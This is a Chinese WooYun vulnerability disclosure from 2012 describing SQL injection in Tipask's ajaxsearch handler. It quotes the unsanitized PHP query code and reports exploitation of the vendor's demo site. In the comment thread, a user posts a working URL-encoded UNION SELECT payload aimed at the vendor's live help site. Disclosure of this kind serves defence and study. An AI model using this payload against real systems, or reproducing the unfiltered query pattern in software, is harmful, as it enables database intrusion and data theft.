当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2012-10866

漏洞标题: Tipask!2.0、1.4sql注入

相关厂商: Tipask

漏洞作者: 猪头子

提交时间: 2012-08-13 17:31

公开时间: 2012-09-27 17:31

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-09-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

之前也有人爆wps的sql注入,其实wps用的是这个系统

详细说明:

在control/question.php 的onajaxsearch函数中

code 区域
function onajaxsearch() {
$title = urldecode($this-> get[2]);
$questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);
include template('ajaxsearch' );
}



由get[2]传入的参数经过了urldecode再进入到question模块中的search_title函数里。

code 区域
//根据标题搜索问题
function search_title ($title, $status='1,2,6' , $addbestanswer=0, $start=0, $limit=20) {
$questionlist = array();
$search_words = $this->get_words($title);
$sql = $search_words ? "SELECT * FROM " . DB_TABLEPRE . "question WHERE MATCH(search_words) AGAINST(' $search_words') AND status IN($status)" : "SELECT * FROM " . DB_TABLEPRE . "question WHERE STATUS IN ($status) AND title LIKE '%$title %' ";
$sql .= " LIMIT $start, $limit";
$query = $this-> db->query($sql);
file_put_contents( "sql.txt", $sql);
while ($question = $this->db->fetch_array($query) ) {
$question[ 'category_name'] = $this->base->category [$question['cid']]['name'];
$question[ 'format_time'] = tdate($question['time' ]);
$question[ 'url'] = url('question/view/' . $question['id'], $question['url']);
$addbestanswer && $question[ 'bestanswer'] = $this->db->result_first("SELECT content FROM `" . DB_TABLEPRE . "answer` WHERE qid=" . $question['id'] . " AND adopttime>0 ");
// $question['description'] = highlight(strip_tags($question['description']), $search_words);
// $question['title'] = highlight($question['title'], $search_words);
$question[ 'description'] = strip_tags($question['description' ]);
$questionlist[] = $question;
}
return $questionlist;
}



最终没有过滤进入sql查询。

漏洞证明:

官方演示站ooxx成功

修复方案:

过滤吧。。好多地方都没有过滤

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2012-09-03 16:15 | 苦战 ( 路人 | Rank:5 漏洞数:4 | 人称苦战?乃南方蛮荒之人!相平,谓正不如...)
    0

    用过这个系统 关注一下~

  2. 2012-09-10 12:20 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    看来tipask打算死不认领。。

  3. 2012-09-27 22:19 | if、so 认证白帽子 ( 核心白帽子 | Rank:1199 漏洞数:103 | Enjoy Hacking)
    0

    万分加十分恳请洞主给个详细利用过程,邮箱:1141543093@qq.com,本人理论实在太差

  4. 2012-09-28 08:52 | w5r2 ( 普通白帽子 | Rank:226 漏洞数:52 )
    0

    @if、so 注入编码下就行了。

  5. 2012-11-08 15:38 | hacx ( 实习白帽子 | Rank:52 漏洞数:6 )
    0

    @if、so看了一下 model/tipask.class.php function init_request() { $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : ''; .......................... $this->get = explode('/', $querystring);//$_SERVER不受gpc影响,进行urlencode编码后,无视gpc .......................... unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS); $this->get = taddslashes($this->get, 1);//该taddslashes函数在urldecode函数之前调用,产生问题了。 $this->post = taddslashes(array_merge($_GET, $_POST)); unset($_POST); .......................... } http://help.tipask.com/?question/ajaxsearch/%73%73%73%27%20%55%4E%49%4F%4E%20%53%45%4C%45%43%54%20%31%2C%32%2C%33%2C%34%2C%35%2C%36%2C%37%2C%38%2C%75%73%65%72%28%29%2C%31%30%2C%31%31%2C%31%32%2C%31%33%2C%31%34%2C%31%35%2C%31%36%2C%31%37%2C%31%38%2C%31%39%2C%32%30%2C%32%31%23

登录后才能发表评论,请先 登录